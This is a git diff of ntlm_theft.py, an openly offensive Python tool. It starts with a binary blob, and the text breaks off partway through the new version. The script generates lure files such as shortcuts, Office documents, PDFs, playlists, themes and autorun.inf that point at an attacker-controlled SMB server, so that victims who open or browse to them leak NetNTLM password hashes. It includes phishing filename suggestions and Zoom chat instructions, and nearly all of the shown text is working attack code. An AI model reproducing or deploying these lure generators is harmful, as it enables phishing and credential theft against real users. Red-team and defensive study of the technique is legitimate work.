zve9+^0xZ0-H<~JOB#mYJuDnL!n{+lhr|Rg!RlL#r(2s71NalWMKjO=qqE$#n)t*i= z;_Y}NDYR$j4k2sO+<9u*IBA(2O`85RJpq9-(r$beh{{3TXW|`9cM%R$3NscZT+HWE zAAA>%H#U0-ri41ihw6`ogReg~iqPPilST-Q%8(j-ljYLT@~1VzlEdxXD;dhI@!BLF z*w7Pp$ooQGh$iv8!IF(j4vI+O*TnD*$xd4_$t8=;xgAHSmfy2@8ie|K2)YzszS5kI z4dI+m>66u~_SUBwSvW5g@Zpjwdv8n~5iPxZnW{%ibJkdP&n1}mSkeCwTH^uR(8&QM zXUad-bTL&#Yaw0gN`#cGo{rA#n2CFU11xxK3Zc8oxEvI-H-!SxS6}tLXqUK~>Ci2v^(Ue@8D7bi(y~FBbWC&Ukx&hOiO-)C2y@Ep()9JymIkqX z5@eCKc#{i9GQLJ%()tqYU7|M&!2s~p~z(7A|5b73i|pnsI0alb-qGF4N-cisK) z6G6czDz}n}>lcbbl+$XK^OClMBzQf+v^L1CQr7f)Ou)=^Ijyh?jA;8)ewiVKpTQFn zxRKGzcO3CJbXyd~Xs2Y0jd{MlWoJY+ zm7-e6OS;PI3z^JBc#MMmV_ub1dXe+1f}KgUIlSFJ7}Z!xACapG!z)Q9+-#sKz}X?| zY?Y+tGZLB2hDWH`M#%>bKAE^ERJK48-S&-lQ!x)NfK1+DOHUWz&h{zChqFynYq(RG zt{7gD&Hb~OosG_oI}^M?1LMpq^h%u>ho8KlR?ca`6O#qR7KwMA7b}O1EgO_R9tqv} zI{2FnWuzzpoXtxa(iY&rv} zVT>t^eOu#iLGIjq^ROr(Ds$r2-p~GqQN!_lN&ewiX3apuM>>=?rV~Z*O%iDv_TCMp zzR9CopB-A!XoABe%)6NWwUq4}J@aWz%@nDlqlSFcHYSrhjAer!8h$Y+BR-w6-E@}* zGUUs`vv8ea-&C(mOpY5p)yJWa1VX?hLO4FRAKaD7{;c3xiK4u3?WJ!y_Nselue+J8 z^;^e9mw@b@#gd#JUA6gIX_pdZ;1*`D*2BS`$8WS$BgYbespZ* z!kKMp-YmvZo&uZrV1Y6=gEqYC3*=GEvifleLDHY#32g9q&S#UYFOK~40M4eNS^sHY zX(QurK$WrrR(bD}mO&MN7EMSPPK;PYYVi$zE%A~ZwYt4ro6TVLSOeJNei{8W#GIbk zI`S1!w*Yh(GdE0tP{H{_-wr?BV)r6=Dn5215mG*UBcz0SY1?NqcrXpJ~ zd%3+kO9nsdWMpu#{}Kpfj=tJ4Xbp%-&YGnu9QW5lqNVU`BNSZuCtl_#|8I`N7pCWM@Bm9tlsWTNT z(4sJiN1ties*d$b_(-WlD*4xDfC)eAi3Rg|fAuw(LGq)n+<)hgHbblkqG zIItsef7s$(M`qyyC5Sn;WoPAa>o!lQ8{}$|df)B6%7 zTDoHE&Cu@)-?zx`#FvEVE18yv^~(dV?Zocv`WvN3YRZHR!cdw>L#uhJ4%Ty^q@s}i zlsUVK70(tEflSF2_RbPRZ*Ip^NwEdxF1cBkH|neXs^&a)#KG`ka^}nYM9y+!(1zUv zVFrN|)vD{@Y46+V0VZ*#TXTwKCQBiI_{aXa^OuC}@g*u%S797F zks#u@q?ME~5h{QmC92<}N<2(a?3_VgrVskz^PDMYBImT2F8^10=XaAICmMK(-nGAK zTw#VadBm%dOw8S*S@J06L%G41RpE=f!PEu2!e6AdY^9&g)rYHf%N1WyTic!04a1Ig z6J!udlZ2_Iq4uRAGEIk5IJUe@o@ob)^x;X4%}BnO?vfCKHXJail0{|Vg>dcN_lHsZ z`j6W}WnRW`aBTgTOZtO}K_C4rSa}a@{qX0y-4kJ0s$}9=MdQpwY2!+Fba;TYG#R2B z5TU=x0EDFCTa{P&T14QkHFYd%gE5kVR0CdfbaUkM;27^`cIR#TNc*HHKxDyRmu>N| zV<~1C^5M(Z_Chh@X^%PvA_H$BA;+WqMbER9fvc5q!#ZTOPs5uVQSb-ce}*^vs2K_9 zH*3H^0RV`9hqtP%jwDD?O^)+FjOMR@%H(OaelF~xlYm%O{ZA1`5rtk!5?ezUzM=7L zbXxm5Z@|v3>P8jDVK}qU&cTF-2QlH0)C1G)SWtw$sGif*i6KIHcSBpn^4*%pP0wQ0 z$_Gt*#~Au(*@Ocw%D&i=(77u6BAEq=m^qWlHi7q!|DFf`)ct9`zjYWS a|HFzJ$|%3V2LOQj`!)ORTPW#YtN#PxZlWXr literal 0 HcmV?d00001 diff --git a/ntlm_theft.py b/ntlm_theft.py index b72fb76..6fd68d4 100644 --- a/ntlm_theft.py +++ b/ntlm_theft.py @@ -1,668 +1,680 @@ -#!/usr/bin/env -# -*- coding: utf-8 -*- -from __future__ import print_function - -# Tested on Windows 10 1903 Build 18362.720 -# Working Attacks: -# Browse to directory: .url -# Open file: .xml, .rtf, .jnlp, .xml (includePicture), .asx, .docx (includePicture), .docx (remoteTemplate), .docx (via Frameset), .xlsx (via External Cell), .htm (Open locally with Chrome, IE or Edge) -# Open file and allow: pdf -# Browser download and open: .application (Must be downloaded via a web browser and run) -# Partial Open file: .m3u (Works if you open with windows media player, but windows 10 auto opens with groove music) - -# In progress - desktop.ini (Need to test older windows versions), autorun.ini (Need to test before windows 7), scf (Need to test on older windows) - - -# References -# https://ired.team/offensive-security/initial-access/t1187-forced-authentication -# https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html -# https://ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros -# https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/ -# https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py -# https://github.com/rocketscientist911/excel-ntlmv2 -# https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/#comments -# https://www.youtube.com/watch?v=PDpBEY1roRc -# https://web.archive.org/web/20190106181024/https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.LIBRARY-MS-FILETYPE-INFORMATION-DISCLOSURE.txt - -import argparse -import io -import os -import shutil -import xlsxwriter -from sys import exit - -#the basic path of the script, make it possible to run from anywhere -script_directory = os.path.dirname(os.path.abspath(__file__)) - -#arg parser to generate all or one file -#python ntlm_theft --generate all --ip 127.0.0.1 --filename board-meeting2020 -parser = argparse.ArgumentParser( - formatter_class=argparse.RawDescriptionHelpFormatter, - description='ntlm_theft by Jacob Wilkin(Greenwolf)', - usage='%(prog)s --generate all --server --filename ') -parser.add_argument('-v', '--version', action='version', - version='%(prog)s 0.1.0 : ntlm_theft by Jacob Wilkin(Greenwolf)') -parser.add_argument('-vv', '--verbose', action='store_true',dest='vv',help='Verbose Mode') -parser.add_argument('-g', '--generate', - action='store', - dest='generate', - required=True, - choices=set(( - "modern", - "all", - "scf", - "url", - "lnk", - "rtf", - "xml", - "htm", - "docx", - "xlsx", - "wax", - "m3u", - "asx", - "jnlp", - "application", - "pdf", - "zoom", - "libraryms", - "autoruninf", - "desktopini")), - help='Choose to generate all files or a specific filetype') -parser.add_argument('-s', '--server',action='store', dest='server',required=True, - help='The IP address of your SMB hash capture server (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc)') -parser.add_argument('-f', '--filename',action='store', dest='filename',required=True, - help='The base filename without extension, can be renamed later (test, Board-Meeting2020, Bonus_Payment_Q4)') -args = parser.parse_args() - - -# NOT WORKING ON LATEST WINDOWS -# .scf remote IconFile Attack -# Filename: shareattack.scf, action=browse, attacks=explorer -def create_scf(generate,server,filename): - if generate == "modern": - print("Skipping SCF as it does not work on modern Windows") - return - file = open(filename,'w') - file.write('''[Shell] -Command=2 -IconFile=\\\\''' + server + '''\\tools\\nc.ico -[Taskbar] -Command=ToggleDesktop''') - file.close() - print("Created: " + filename + " (BROWSE TO FOLDER)") - -# .url remote url attack -def create_url_url(generate,server,filename): - file = open(filename,'w') - file.write('''[InternetShortcut] -URL=file://''' + server + '''/leak/leak.html''') - file.close() - print("Created: " + filename + " (BROWSE TO FOLDER)") - - -# .url remote IconFile attack -# Filename: shareattack.url, action=browse, attacks=explorer -def create_url_icon(generate,server,filename): - file = open(filename,'w') - file.write('''[InternetShortcut] -URL=whatever -WorkingDirectory=whatever -IconFile=\\\\''' + server + '''\\%USERNAME%.icon -IconIndex=1''') - file.close() - print("Created: " + filename + " (BROWSE TO FOLDER)") - -# .rtf remote INCLUDEPICTURE attack -# Filename: shareattack.rtf, action=open, attacks=notepad/wordpad -def create_rtf(generate,server,filename): - file = open(filename,'w') - file.write('''{\\rtf1{\\field{\\*\\fldinst {INCLUDEPICTURE "file://''' + server + '''/test.jpg" \\\\* MERGEFORMAT\\\\d}}{\\fldrslt}}}''') - file.close() - print("Created: " + filename + " (OPEN)") - -# .xml remote stylesheet attack -# Filename: shareattack.xml, action=open, attacks=word -def create_xml(generate,server,filename): - file = open(filename,'w') - file.write(''' - -''') - file.close() - print("Created: " + filename + " (OPEN)") - -# .xml with remote includepicture field attack -# Filename: shareattack.xml, action=open, attacks=word -def create_xml_includepicture(generate,server, filename): - documentfilename = os.path.join(script_directory,"templates", "includepicture-template.xml") - # Read the template file - file = open(documentfilename, 'r', encoding="utf8") - filedata = file.read() - file.close() - # Replace the target string - filedata = filedata.replace('127.0.0.1', server) - # Write the file out again - file = open(filename, 'w', encoding="utf8") - file.write(filedata) - file.close() - print("Created: " + filename + " (OPEN)") - -# .htm with remote image attack -# Filename: shareattack.htm, action=open, attacks=internet explorer + Edge + Chrome when launched from desktop -def create_htm(generate,server,filename): - file = open(filename,'w') - file.write(''' - - -''') - file.close() - print("Created: " + filename + " (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)") - -# .htm with rlocal handler attack -# Filename: shareattack-(handler).htm, action=open, attacks=open in web browser, will automatically open word -def create_htm_handler(generate,server,filename): - file = open(filename,'w') - file.write(''' - - -''') - file.close() - print("Created: " + filename + " (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)") - -# .docx file with remote includepicture field attack -def create_docx_includepicture(generate,server,filename): - # Source path - src = os.path.join(script_directory,"templates", "docx-includepicture-template") - # Destination path - dest = os.path.join("docx-includepicture-template") - # Copy the content of - # source to destination - shutil.copytree(src, dest) - documentfilename = os.path.join("docx-includepicture-template", "word", "_rels", "document.xml.rels") - # Read the template file - file = open(documentfilename, 'r') - filedata = file.read() - file.close() - # Replace the target string - filedata = filedata.replace('127.0.0.1', server) - # Write the file out again - file = open(documentfilename, 'w') - file.write(filedata) - file.close() - shutil.make_archive(filename, 'zip', "docx-includepicture-template") - os.rename(filename +".zip",filename) - shutil.rmtree("docx-includepicture-template") - print("Created: " + filename + " (OPEN)") - -# .docx file with remote template attack -# Filename: shareattack.docx (unzip and put inside word\_rels\settings.xml.rels), action=open, attacks=word -# Instructions: Word > Create New Document > Choose a Template > Unzip docx, change target in word\_rels\settings.xml.rels change target to smb server -def create_docx_remote_template(generate,server,filename): - # Source path - src = os.path.join(script_directory,"templates", "docx-remotetemplate-template") - # Destination path - dest = os.path.join("docx-remotetemplate-template") - # Copy the content of - # source to destination - shutil.copytree(src, dest) - documentfilename = os.path.join("docx-remotetemplate-template", "word", "_rels", "settings.xml.rels") - # Read the template file - file = open(documentfilename, 'r') - filedata = file.read() - file.close() - # Replace the target string - filedata = filedata.replace('127.0.0.1', server) - # Write the file out again - file = open(documentfilename, 'w') - file.write(filedata) - file.close() - shutil.make_archive(filename, 'zip', "docx-remotetemplate-template") - os.rename(filename +".zip",filename) - shutil.rmtree("docx-remotetemplate-template") - print("Created: " + filename + " (OPEN)") - -# .docx file with Frameset attack -def create_docx_frameset(generate,server,filename): - # Source path - src = os.path.join(script_directory,"templates", "docx-frameset-template") - # Destination path - dest = os.path.join("docx-frameset-template") - # Copy the content of - # source to destination - shutil.copytree(src, dest) - documentfilename = os.path.join("docx-frameset-template", "word", "_rels", "webSettings.xml.rels") - # Read the template file - file = open(documentfilename, 'r') - filedata = file.read() - file.close() - # Replace the target string - filedata = filedata.replace('127.0.0.1', server) - # Write the file out again - file = open(documentfilename, 'w') - file.write(filedata) - file.close() - shutil.make_archive(filename, 'zip', "docx-frameset-template") - os.rename(filename +".zip",filename) - shutil.rmtree("docx-frameset-template") - print("Created: " + filename + " (OPEN)") - -# .xlsx file with cell based attack -def create_xlsx_externalcell(generate,server,filename): - workbook = xlsxwriter.Workbook(filename) - worksheet = workbook.add_worksheet() - worksheet.write_url('AZ1', "external://"+server+"\\share\\[Workbookname.xlsx]SheetName'!$B$2:$C$62,2,FALSE)") - workbook.close() - print("Created: " + filename + " (OPEN)") - -# .wax remote playlist attack -# Filename: shareattack.wax, action=open, attacks=windows media player -def create_wax(generate,server,filename): - file = open(filename,'w') - file.write('''https://''' + server + '''/test -file://\\\\''' + server + '''/steal/file''') - file.close() - print("Created: " + filename + " (OPEN)") - -# .m3u remote playlist attack -# Filename: shareattack.m3u, action=open, attacks=windows media player -def create_m3u(generate,server,filename): - file = open(filename,'w') - file.write('''#EXTM3U -#EXTINF:1337, Leak -\\\\''' + server + '''\\leak.mp3''') - file.close() - print("Created: " + filename + " (OPEN IN WINDOWS MEDIA PLAYER ONLY)") - -# .asx remote playlist attack -# Filename: shareattack.asx, action=open, attacks=windows media player -def create_asx(generate,server,filename): - file = open(filename,'w') - file.write(''' - Leak - - - - -''') - file.close() - print("Created: " + filename + " (OPEN)") - -# .jnlp remote jar attack -# Filename: shareattack.jnlp, action=open, attacks=java web start -def create_jnlp(generate,server,filename): - file = open(filename,'w') - file.write(''' - - - - - -''') - file.close() - print("Created: " + filename + " (OPEN)") - -# .application remote dependency codebase attack -# Filename: shareattack.application, action=open, attacks= .NET ClickOnce -def create_application(generate,server,filename): - file = open(filename,'w') - file.write(''' - -    -    -    -    -       -          -          -             -                -             -             -            ESZ11736AFIJnp6lKpFYCgjw4dU= -          -       -    -''') - file.close() - print("Created: " + filename + " (DOWNLOAD AND OPEN)") - -# .pdf remote object? attack -# Filename: shareattack.pdf, action=open, attacks=Adobe Reader (Others?) -def create_pdf(generate,server,filename): - file = open(filename,'w') - file.write('''%PDF-1.7 -1 0 obj -<> -endobj -2 0 obj -<> -endobj -3 0 obj -<>>> -endobj -xref -0 4 -0000000000 65535 f -0000000015 00000 n -0000000060 00000 n -0000000111 00000 n -trailer -<> -startxref -190 -3 0 obj -<< /Type /Page - /Contents 4 0 R - /AA << - /O << - /F (\\\\\\\\''' + server + '''\\\\test) - /D [ 0 /Fit] - /S /GoToE - >> - >> - /Parent 2 0 R - /Resources << - /Font << - /F1 << - /Type /Font - /Subtype /Type1 - /BaseFont /Helvetica - >> - >> - >> ->> -endobj -4 0 obj<< /Length 100>> -stream -BT -/TI_0 1 Tf -14 0 0 14 10.000 753.976 Tm -0.0 0.0 0.0 rg -(PDF Document) Tj -ET -endstream -endobj -trailer -<< - /Root 1 0 R ->> -%%EOF''') - file.close() - print("Created: " + filename + " (OPEN AND ALLOW)") - - -def create_zoom(generate,server,filename): - if generate == "modern": - print("Skipping zoom as it does not work on the latest versions") - return - file = open(filename,'w') - file.write('''To attack zoom, just put the following link along with your phishing message in the chat window: - -\\\\''' + server + '''\\xyz -''') - file.close() - print("Created: " + filename + " (PASTE TO CHAT)") - -def create_theme(generate,server,filename): - with open(filename, 'w') as file: - file.write('''[Theme] -; Windows - IDS_THEME_DISPLAYNAME_AERO_LIGHT -DisplayName=\\'''+ server +''' Theme -SetLogonBackground=0 -; Computer - SHIDI_SERVER -[CLSID\\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\\DefaultIcon] -DefaultValue=\\\\'''+server+'''\\setup.exe,-109 - -; UsersFiles - SHIDI_USERFILES -[CLSID\\{59031A47-3F72-44A7-89C5-5595FE6B30EE}\\DefaultIcon] -DefaultValue=\\\\'''+server+'''\\setup.exe,-123 - -; Network - SHIDI_MYNETWORK -[CLSID\\{F02C1A0D-BE21-4350-88B0-7367FC96EF3C}\\DefaultIcon] -DefaultValue=\\\\'''+server+'''\\setup.exe,-25 - -; Recycle Bin - SHIDI_RECYCLERFULL SHIDI_RECYCLER -[CLSID\\{645FF040-5081-101B-9F08-00AA002F954E}\\DefaultIcon] -Full=\\\\'''+server+'''\\setup.exe,-54 -Empty=\\\\'''+server+'''\\setup.exe,-55 - -[Control Panel\\Cursors] -AppStarting=\\\\'''+server+'''\\setup.exe -Arrow=\\\\'''+server+'''\\aero_arrow.cur -Crosshair= -Hand=\\\\'''+server+'''\\aero_link.cur -Help=\\\\'''+server+'''\\aero_helpsel.cur -IBeam= -No=\\\\'''+server+'''\\aero_unavail.cur -NWPen=\\\\'''+server+'''\\aero_pen.cur -SizeAll=\\\\'''+server+'''\\aero_move.cur -SizeNESW=\\\\'''+server+'''\\aero_nesw.cur -SizeNS=\\\\'''+server+'''\\aero_ns.cur -SizeNWSE=\\\\'''+server+'''\\aero_nwse.cur -SizeWE=\\\\'''+server+'''\\aero_ew.cur -UpArrow=\\\\'''+server+'''\\aero_up.cur -Wait=\\\\'''+server+'''\\aero_busy.ani -DefaultValue=Windows Default -DefaultValue.MUI=@main.cpl,-1020 - -[Control Panel\\Desktop] -Wallpaper=\\\\'''+server+'''\\setup.exe -TileWallpaper=0 -WallpaperStyle=10 -Pattern= -MultimonBackgrounds=0 - -[VisualStyles] -Path=\\\\'''+server+'''\\Themes\\Aero\\Aero.msstyles -ColorStyle=NormalColor -Size=NormalSize -AutoColorization=0 -ColorizationColor=0XC40078D4 -SystemMode=Light -AppMode=Light - -[boot] -SCRNSAVE.EXE= - -[MasterThemeSelector] -MTSM=RJSPBS - -[Sounds] -; IDS_SCHEME_DEFAULT -SchemeName=@\\\\'''+server+'''\\setup.dll,-800 - ''') - print("Created: " + filename + " (THEME TO INSTALL") - -def create_autoruninf(generate,server,filename): - if generate == "modern": - print("Skipping Autorun.inf as it does not work on modern Windows") - return - file = open(filename,'w') - file.write('''[autorun] -open=\\\\''' + server + '''\\setup.exe -icon=something.ico -action=open Setup.exe''') - file.close() - print("Created: " + filename + " (BROWSE TO FOLDER)") - -def create_desktopini(generate,server,filename): - if generate == "modern": - print("Skipping desktop.ini as it does not work on modern Windows") - return - file = open(filename,'w') - file.write('''[.ShellClassInfo] -IconResource=\\\\''' + server + '''\\aa''') - file.close() - print("Created: " + filename + " (BROWSE TO FOLDER)") - -def create_libraryms(generate,server,filename): - file = open(filename,'w') - file.write(''' - -@shell32.dll,-34575 -S-1-5-21-372074477-2495183225-776587326-1000 -1 -true -\\\\''' + server + '''\\aa - -{7d49d726-3c21-4f05-99aa-fdc2c9474656} - - - -@shell32.dll,-34577 -true - -knownfolder:{FDD39AD0-238F-46AF-ADB4-6C85480369C7} -MBAAAEAFCAAA...MFNVAAAAAA - - - -@shell32.dll,-34579 -true - -knownfolder:{ED4824AF-DCE4-45A8-81E2-FC7965083634} -MBAAAEAFCAAA...HJIfK9AAAAAA - - - -''') - file.close() - print("Created: " + filename + " (BROWSE TO FOLDER)") - - -# .lnk remote IconFile Attack -# Filename: shareattack.lnk, action=browse, attacks=explorer -def create_lnk(generate,server,filename): - # these two numbers define location in template that holds icon location - offset = 0x136 - max_path = 0xDF - unc_path = f'\\\\{server}\\tools\\nc.ico' - if len(unc_path) >= max_path: - print("Server name too long for lnk template, skipping.") - return - unc_path = unc_path.encode('utf-16le') - with open(os.path.join(script_directory,"templates", "shortcut-template.lnk"), 'rb') as lnk: - shortcut = list(lnk.read()) - for i in range(0, len(unc_path)): - shortcut[offset + i] = unc_path[i] - with open(filename,'wb') as file: - file.write(bytes(shortcut)) - print("Created: " + filename + " (BROWSE TO FOLDER)") - - -# create folder to hold templates, if already exists delete it -if os.path.exists(args.filename): - if input(f"Are you sure to want to delete {args.filename}? [Y/N]").lower not in ["y", "yes"]: - exit(0) - shutil.rmtree(args.filename) -os.makedirs(args.filename) - -# handle which documents to create -if (args.generate == "all" or args.generate == "modern"): - create_scf(args.generate, args.server, os.path.join(args.filename, args.filename + ".scf")) - - create_url_url(args.generate, args.server, os.path.join(args.filename, args.filename + "-(url).url")) - create_url_icon(args.generate, args.server, os.path.join(args.filename, args.filename + "-(icon).url")) - - create_lnk(args.generate, args.server, os.path.join(args.filename, args.filename + ".lnk")) - - create_rtf(args.generate, args.server, os.path.join(args.filename, args.filename + ".rtf")) - - create_xml(args.generate, args.server, os.path.join(args.filename, args.filename + "-(stylesheet).xml")) - create_xml_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(fulldocx).xml")) - - create_htm(args.generate, args.server, os.path.join(args.filename, args.filename + ".htm")) - create_htm_handler(args.generate, args.server, os.path.join(args.filename, args.filename + "-(handler).htm")) - - create_docx_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(includepicture).docx")) - create_docx_remote_template(args.generate, args.server, os.path.join(args.filename, args.filename + "-(remotetemplate).docx")) - create_docx_frameset(args.generate, args.server, os.path.join(args.filename, args.filename + "-(frameset).docx")) - - create_xlsx_externalcell(args.generate, args.server, os.path.join(args.filename, args.filename + "-(externalcell).xlsx")) - - create_wax(args.generate, args.server, os.path.join(args.filename, args.filename + ".wax")) - - create_m3u(args.generate, args.server, os.path.join(args.filename, args.filename + ".m3u")) - - create_asx(args.generate, args.server, os.path.join(args.filename, args.filename + ".asx")) - - create_jnlp(args.generate, args.server, os.path.join(args.filename, args.filename + ".jnlp")) - - create_application(args.generate, args.server, os.path.join(args.filename, args.filename + ".application")) - - create_pdf(args.generate, args.server, os.path.join(args.filename, args.filename + ".pdf")) - - create_zoom(args.generate, args.server, os.path.join(args.filename, "zoom-attack-instructions.txt")) - - create_libraryms(args.generate, args.server, os.path.join(args.filename, args.filename + ".library-ms")) - - create_autoruninf(args.generate, args.server, os.path.join(args.filename, "Autorun.inf")) - - create_desktopini(args.generate, args.server, os.path.join(args.filename, "desktop.ini")) - - create_theme(args.generate, args.server, os.path.join(args.filename, args.filename + ".theme")) - -elif(args.generate == "scf"): - create_scf(args.generate, args.server, os.path.join(args.filename, args.filename + ".scf")) - -elif(args.generate == "url"): - create_url_url(args.generate, args.server, os.path.join(args.filename, args.filename + "-(url).url")) - create_url_icon(args.generate, args.server, os.path.join(args.filename, args.filename + "-(icon).url")) - -elif(args.generate == "lnk"): - create_lnk(args.generate, args.server, os.path.join(args.filename, args.filename + ".lnk")) - -elif(args.generate == "rtf"): - create_rtf(args.generate, args.server, os.path.join(args.filename, args.filename + ".rtf")) - -elif(args.generate == "xml"): - create_xml(args.generate, args.server, os.path.join(args.filename, args.filename + "-(stylesheet).xml")) - create_xml_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(fulldocx).xml")) - -elif(args.generate == "htm"): - create_htm(args.generate, args.server, os.path.join(args.filename, args.filename + ".htm")) - -elif(args.generate == "docx"): - create_docx_includepicture(args.generate, args.server, os.path.join(args.filename, args.filename + "-(includepicture).docx")) - create_docx_remote_template(args.generate, args.server, os.path.join(args.filename, args.filename + "-(remotetemplate).docx")) - create_docx_frameset(args.generate, args.server, os.path.join(args.filename, args.filename + "-(frameset).docx")) - -elif(args.generate == "xlsx"): - create_xlsx_externalcell(args.generate, args.server, os.path.join(args.filename, args.filename + "-(externalcell).xlsx")) - -elif(args.generate == "wax"): - create_wax(args.generate, args.server, os.path.join(args.filename, args.filename + ".wax")) - -elif(args.generate == "m3u"): - create_m3u(args.generate, args.server, os.path.join(args.filename, args.filename + ".m3u")) - -elif(args.generate == "asx"): - create_asx(args.generate, args.server, os.path.join(args.filename, args.filename + ".asx")) - -elif(args.generate == "jnlp"): - create_jnlp(args.generate, args.server, os.path.join(args.filename, args.filename + ".jnlp")) - -elif(args.generate == "application"): - create_application(args.generate, args.server, os.path.join(args.filename, args.filename + ".application")) - -elif(args.generate == "pdf"): - create_pdf(args.generate, args.server, os.path.join(args.filename, args.filename + ".pdf")) - -elif(args.generate == "zoom"): - create_zoom(args.generate, args.server, os.path.join(args.filename, "zoom-attack-instructions.txt")) - -elif(args.generate == "libraryms"): - create_libraryms(args.generate, args.server, os.path.join(args.filename, args.filename + ".library-ms")) - -elif(args.generate == "autoruninf"): - create_autoruninf(args.generate, args.server, os.path.join(args.filename, "Autorun.inf")) - -elif(args.generate == "desktopini"): - create_desktopini(args.generate, args.server, os.path.join(args.filename, "desktop.ini")) - -elif(args.generate == "theme"): - create_theme(args.generate, args.server, os.path.join(args.filename, args.filename + ".theme")) - -print("Generation Complete.") +#!/usr/local/bin/python3.11 + +# -*- coding: utf-8 -*- +from __future__ import print_function + +# Tested on Windows 10 1903 Build 18362.720 +# Working Attacks: +# Browse to directory: .url +# Open file: .xml, .rtf, .jnlp, .xml (includePicture), .asx, .docx (includePicture), .docx (remoteTemplate), .docx (via Frameset), .xlsx (via External Cell), .htm (Open locally with Chrome, IE or Edge) +# Open file and allow: pdf +# Browser download and open: .application (Must be downloaded via a web browser and run) +# Partial Open file: .m3u (Works if you open with windows media player, but windows 10 auto opens with groove music) + +# In progress - desktop.ini (Need to test older windows versions), autorun.ini (Need to test before windows 7), scf (Need to test on older windows) + + +# References +# https://ired.team/offensive-security/initial-access/t1187-forced-authentication +# https://www.securify.nl/blog/SFY20180501/living-off-the-land_-stealing-netntlm-hashes.html +# https://ired.team/offensive-security/initial-access/phishing-with-ms-office/inject-macros-from-a-remote-dotm-template-docx-with-macros +# https://pentestlab.blog/2017/12/18/microsoft-office-ntlm-hashes-via-frameset/ +# https://github.com/deepzec/Bad-Pdf/blob/master/badpdf.py +# https://github.com/rocketscientist911/excel-ntlmv2 +# https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/#comments +# https://www.youtube.com/watch?v=PDpBEY1roRc +# https://web.archive.org/web/20190106181024/https://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-.LIBRARY-MS-FILETYPE-INFORMATION-DISCLOSURE.txt + +import argparse +import io +import os +import shutil +import xlsxwriter +from sys import exit + +# custom +from custom.odt_gen import create_odt + +#the basic path of the script, make it possible to run from anywhere +script_directory = os.path.dirname(os.path.abspath(__file__)) + +#arg parser to generate all or one file +#python ntlm_theft --generate all --ip 127.0.0.1 --filename board-meeting2020 +parser = argparse.ArgumentParser( + formatter_class=argparse.RawDescriptionHelpFormatter, + description='ntlm_theft by Jacob Wilkin(Greenwolf)', + usage='%(prog)s --generate all --server --filename ') +parser.add_argument('-v', '--version', action='version', + version='%(prog)s 0.1.0 : ntlm_theft by Jacob Wilkin(Greenwolf)') +parser.add_argument('-vv', '--verbose', action='store_true',dest='vv',help='Verbose Mode') +parser.add_argument('-g', '--generate', + action='store', + dest='generate', + required=True, + choices=set(( + "modern", + "all", + "scf", + "url", + "lnk", + "rtf", + "xml", + "htm", + "docx", + "xlsx", + "wax", + "m3u", + "asx", + "jnlp", + "application", + "pdf", + "zoom", + "libraryms", + "autoruninf", + "odt", + "desktopini")), + help='Choose to generate all files or a specific filetype') +parser.add_argument('-s', '--server',action='store', dest='server',required=True, + help='The IP address of your SMB hash capture server (Responder, impacket ntlmrelayx, Metasploit auxiliary/server/capture/smb, etc)') +parser.add_argument('-f', '--filename',action='store', dest='filename',required=True, + help='The base filename without extension, can be renamed later (test, Board-Meeting2020, Bonus_Payment_Q4)') +args = parser.parse_args() + + +# NOT WORKING ON LATEST WINDOWS +# .scf remote IconFile Attack +# Filename: shareattack.scf, action=browse, attacks=explorer +def create_scf(generate,server,filename): + if generate == "modern": + print("Skipping SCF as it does not work on modern Windows") + return + file = open(filename,'w') + file.write('''[Shell] +Command=2 +IconFile=\\\\''' + server + '''\\tools\\nc.ico +[Taskbar] +Command=ToggleDesktop''') + file.close() + print("Created: " + filename + " (BROWSE TO FOLDER)") + +# .url remote url attack +def create_url_url(generate,server,filename): + file = open(filename,'w') + file.write('''[InternetShortcut] +URL=file://''' + server + '''/leak/leak.html''') + file.close() + print("Created: " + filename + " (BROWSE TO FOLDER)") + + +# .url remote IconFile attack +# Filename: shareattack.url, action=browse, attacks=explorer +def create_url_icon(generate,server,filename): + file = open(filename,'w') + file.write('''[InternetShortcut] +URL=whatever +WorkingDirectory=whatever +IconFile=\\\\''' + server + '''\\%USERNAME%.icon +IconIndex=1''') + file.close() + print("Created: " + filename + " (BROWSE TO FOLDER)") + +# .rtf remote INCLUDEPICTURE attack +# Filename: shareattack.rtf, action=open, attacks=notepad/wordpad +def create_rtf(generate,server,filename): + file = open(filename,'w') + file.write('''{\\rtf1{\\field{\\*\\fldinst {INCLUDEPICTURE "file://''' + server + '''/test.jpg" \\\\* MERGEFORMAT\\\\d}}{\\fldrslt}}}''') + file.close() + print("Created: " + filename + " (OPEN)") + +# .xml remote stylesheet attack +# Filename: shareattack.xml, action=open, attacks=word +def create_xml(generate,server,filename): + file = open(filename,'w') + file.write(''' + +''') + file.close() + print("Created: " + filename + " (OPEN)") + +# .xml with remote includepicture field attack +# Filename: shareattack.xml, action=open, attacks=word +def create_xml_includepicture(generate,server, filename): + documentfilename = os.path.join(script_directory,"templates", "includepicture-template.xml") + # Read the template file + file = open(documentfilename, 'r', encoding="utf8") + filedata = file.read() + file.close() + # Replace the target string + filedata = filedata.replace('127.0.0.1', server) + # Write the file out again + file = open(filename, 'w', encoding="utf8") + file.write(filedata) + file.close() + print("Created: " + filename + " (OPEN)") + +# .htm with remote image attack +# Filename: shareattack.htm, action=open, attacks=internet explorer + Edge + Chrome when launched from desktop +def create_htm(generate,server,filename): + file = open(filename,'w') + file.write(''' + + +''') + file.close() + print("Created: " + filename + " (OPEN FROM DESKTOP WITH CHROME, IE OR EDGE)") + +# .htm with rlocal handler attack +# Filename: shareattack-(handler).htm, action=open, attacks=open in web browser, will automatically open word +def create_htm_handler(generate,server,filename): + file = open(filename,'w') + file.write(''' + + +''') + file.close() + print("Created: " + filename + " (OPEN FROM DESKTOP 